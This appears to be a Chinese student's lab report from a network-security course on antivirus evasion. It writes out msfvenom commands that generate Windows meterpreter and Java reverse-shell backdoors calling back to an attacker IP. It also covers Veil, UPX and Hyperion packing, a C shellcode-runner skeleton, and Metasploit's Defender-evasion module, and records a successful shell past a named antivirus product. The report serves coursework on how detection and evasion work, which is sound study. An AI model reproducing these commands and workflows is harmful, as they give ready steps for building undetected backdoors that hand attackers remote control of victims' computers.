2020-2 网络对抗技术 20175120 exp3 免杀原理与实践
实验内容
通过各种方法生成后门程序,尝试免杀
1. 正确使用MSF编辑器
将实验二中生成的后门程序5120backdoor.exe
放到virustotal
和virscan
中进行检测
-
virustotal结果如下
-
virscan结果如下
查杀率还是挺高的,不加处理的后门程序基本都会被查杀
接下来使用msf编辑器进行自定义的后门生成
msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=192.168.5.250 LPORT=5120 -f exe -o home/20175120pyc/exp3/mt_rt_250.exe
-p
参数表示生成的payload类型,其中包括平台(windows)
、工具(meterpreter)
、连接方式(reverse_tcp)
-e
参数表示编码器类型 平台(x86)``编码器名(bloxor)
LHOST表示本机ip地址,LPORT表示端口号
-f
参数表示生成的文件类型
-o
参数表示后门文件存储路径
在我把mt_rt_250.exe
放到主机的时候就被杀出来了,没有实现免杀
放到'virscan'和'virustotal'里面测试一下
看起来效果不是很好
我又将payload换成windows/encrypted_shell_reverse_tcp
进行测试
效果还是差强人意,没有实现免杀
2. 使用msfvenom生成如jar之类的其他文件
生成jar包
msfvenom -p java/shell_reverse_tcp LHOST=192.168.5.250 LPORT=5120 -o home/20175120pyc/exp3/java_sh_rt_250.jar
在我把jar包复制到主机的时候,杀软没有发现
接下来继续测试回连
linux端打开msfconsole,准备监听
输入
use exploit/multi/handler
set payload java/shell_reverse_tcp
set LHOST 192.168.5.250
set LPORT 5120
exploit
windows端打开cmd进入放有刚刚生成后门文件的目录
输入java -jar java_sh_rt_250.jar
可以看到linux端接通,但又退出
我在linux端继续输入java -jar java_sh_rt_250.jar
进行尝试
但显示
连接被拒绝
我找了很半天原因,最后在杀软安全日志里发现
后门文件没有被杀出来,但是回连的行为被发现了
关掉杀软,试试回连
成功获取主机shell! windows defender没有检测到回连行为
可以看出来java产生后门的方式比之前还是更为有效的
返回目录
3. veil
veil工具用起来是很方便的,但是安装比较难受
安装完成之后输入 veil
,显示如下
使用veil-evasion
输入use 1
输入list
可以看到可选的payload
我选择20,use 20
可以看见我们还需要设置LHOST,其他都默认了
设置完后输入文件名ps_mt_rhs_250
生成文件
其中ps_mt_rhs_250.bat
放到主机环境下,ps_mt_rhs_250.rc
用于linux端监听
在我复制过去的时候,杀软没反应.......
输入msfconsole -r /var/lib/veil/output/handlers/ps_mt_rhs_250.rc
开始监听
在windows端双击ps_mt_rhs_250.bat,然后就被杀软杀掉了(意料之中)
把ps_mt_rhs_250.bat从隔离区捞出来,测试一下
效果比之前要好了一点,但还是被火绒杀出来了
4. 加壳工具
加壳工具通常分为压缩壳和加密壳两类。
压缩壳的特点是减小软件体积大小,加密保护不是重点。
加密壳种类比较多,不同的壳侧重点不同,一些壳单纯保护程序,另一些壳提供额外的功能,如提供注册机制、使用次数、时间限制等。
- 压缩壳
压缩工具我用的是upx,kali linux自带
加壳文件我是用的下面的我是用的第一步里面的mt_rt_250.exe
upx home/20175120pyc/exp3/mt_rt_250.exe -o home/20175120pyc/exp3/mt_rt_250_upx.exe
把生成的后门搬到主机里,然后还是被干掉了,测试一下
似乎比刚才好一丢丢......
- 加密壳
加密工具我使用的是Hyperion
在这里出了些问题,我参考了学姐和很多同学的博客,都是进入Hyperion文件夹下面,直接输入
wine hyperion.exe -v ****.exe ****_hy.exe
而我完全没有找到这个文件夹和hyperion.exe
在我输入这一行命令的时候会出现
Could not find Wine Gecko. HTML rendering will be disabled.
然后就失败了
我就想自己装个wine gecko
,之后从同学的博客中中找到了解决方法
我选择安装最新的Hyperion-2.2 (zip下载链接附上)
- 放到exp3文件夹下,进行解压
unzip Hyperion-2.2
-
cd Hyperion-2.2
-
i686-w64-mingw32-gcc Src/Crypter/*.c -o hyperion.exe
(按照教程上是要编译一下的,但好像没什么用) -
vim Makefile
修改原来的编译方式cc=gcc
为cc=i686-x64-mingw32-gcc
如下图第一行
- 保存退出之后就在当前文件夹下输入
make
进行编译
- 输入
ls
可以看到生成了hyperion.exe
文件
然后就可以进行加密壳的加壳了!
我使用的文件还是第一个生成的后门mt_rt_250.exe
,对比一下效果
- 把
mt_rt_250.exe
复制到Hyperion-2.2文件夹下,输入
wine hyperion.exe -v mt_rt_250.exe mt_rt_250_hy.exe
然后把 mt_rt_250_hy.exe 复制到主机 .....被干掉了,测试一下
看起来加密壳效果比压缩壳好一些......
我又用之前加了压缩壳的mt_rt_250_upx.exe
做了加密壳处理生成了mt_rt_250_upx_hy.exe
放到主机来的时候还是被防火墙干掉了......测试一下
效果和加密壳差不多
5. 使用C + shellcode编程
- 使用msfvenom将后门编译成c
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.5.250 lport=5120 -f c
生成c数组形式的shell,写入.c文件
#include <stdlib.h>
#include <stdio.h>
unsigned char buf[] = "";
int main(){
int (*func)() = (int(*)())buf;
func();
}
这里有两种方法可以对文件进行编译
- 将shellcode放到主机的codeblocks进行编译
编译之后......
直接被干掉
- 在linux下进行编译
i686-w64-mingw32-g++ win_sh_rt_250.c -o win_sh_rt_250.exe
将win_sh_rt_250.exe搬到主机去,直接被杀软杀掉........
- 在exploit-db里面找shellcode
6. 使用其他课堂未介绍方法
用新版msf自带的evasion进行免杀后门生成
-
首先输入
msfconsole
进入msf控制台 -
然后查看evasion的相关信息
show evasion
我选择windows/windows_defender_exe
进行测试
-
use windows/windows_defender_exe
-
看看需要设置什么参数
show options
-
set payload windows/meterpreter/reverse_tcp
设置payload -
设置ip和端口号
-
exploit 生成后门文件
把后门文件复制到主机......然后被杀软杀掉了,测试一下
看起来效果不错,看一下后门的行为分析
同样是打开主机cmd.exe,杀软是通过后门GetTickCount和direct-cpu-clock访问的行为特征发现的
通过组合应用各种技术实现恶意代码免杀
veil+msfconsole
我想用veil+msfconsole实现免杀与回连
然后我一个一个的试:autoit、auxiliary、c、cs、go、powershell、Python、ruby
auxiliary模块的参数需要输入文件路径,但我没整明白......
其中Python模块的总是出问题,我之前没学过python,veil生成了runme.bat和setup.py文件
我装好了python环境和python IDE工具pyCharm
经过一番查找和询问同学,我输入python setup.py
,然后出现
又是一番尝试,我用pyCharm工具将py2exe模块加进去了,然后输入python setup.py py2exe
,出现
打开kali端监听:msfconsole -r *********/**.rc
在主机端双击runme.bat,然后没反应......然后就不知道怎么办了,Python模块就放弃了
使用jar包实现免杀(java+metasploit)
我使用msfvenom工具进行生成,在java环境的支持下,使用:
msfvenom -p java/shell/reverse_tcp lhost=192.168.5.250 lport=5120 -o java_shrt_250.jar
生成jar包
移植到主机上,经检测,实现免杀
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
电脑杀软名称为腾讯电脑管家
,电脑版本为windows10
因为之前使用jar包实现免杀,我就尝试回连
同样使用msfconsole工具进行监听
回连成功!
报告内容
基础问题回答
- 杀软是如何检测出恶意代码的?
- 根据恶意代码的特征码进行检测
特征码就是一段或多段数据。进行恶意软件的检测时,杀软并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。
- 启发式恶意软件检测
即根据些片面特征去推断。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
- 基于行为的恶意软件检测
基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式
- 免杀是做什么?
对恶意软件做一些处理,使其在能够起作用的同时不被杀毒软件杀出来
- 免杀的基本方法有哪些?
- 改变特征码
如果你手里只有EXE:加壳:压缩壳 加密壳
有shellcode(像Meterpreter):用encode进行编码、基于payload重新编译生成可执行文件
有源代码:用其他语言进行重写再编译(veil-evasion)
- 改变行为
通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据
操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
- 非常规手段
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件
实践总结与体会
这次实验难度较大,我花费了很多时间,从工具的安装、尝试的次数、安装的平台环境数等方面都远远比前两个实验要复杂。但实现免杀却让我的兴趣有了很大的提升,因为这是用最贴近生活的方式让我感受到了网络病毒的威力。只要有一个能够绕过杀软的病毒,我的电脑里就必定存在后门。而后门的危害我在第二次实验中也实实在在的体验过了,网络安全真的是现实中不可或缺的一环。
在实验操作中,我遇到了很多困难,安装veil,我从开始安装到最终成功几乎用了三天时间;不断用各种工具生成后门的过程中,很多文件不能编译成exe格式,就必须安装文件能够运行的环境等等....好在问题还是一个个的迎刃而解了。但是免杀的实现我还有很长的路要走,这次的实验中我想使用exploit-db中的shellcode来生成后门,但是尝试了很多个,用msfconsole监听的时候都没有反应,我也看不出来这段shellcode应该怎么样具体进行操作,但我觉得如果exploit-db最新的shellcode用上了免杀应该会简单很多。
这次实验显著的提高了我的网络安全防范意识和对于网络渗透的兴趣,在之后的学习中,我会继续努力。
开启杀软能绝对防止电脑中恶意代码吗?
不能。因为现在很多的后门能够实现免杀,绕过杀软进行攻击。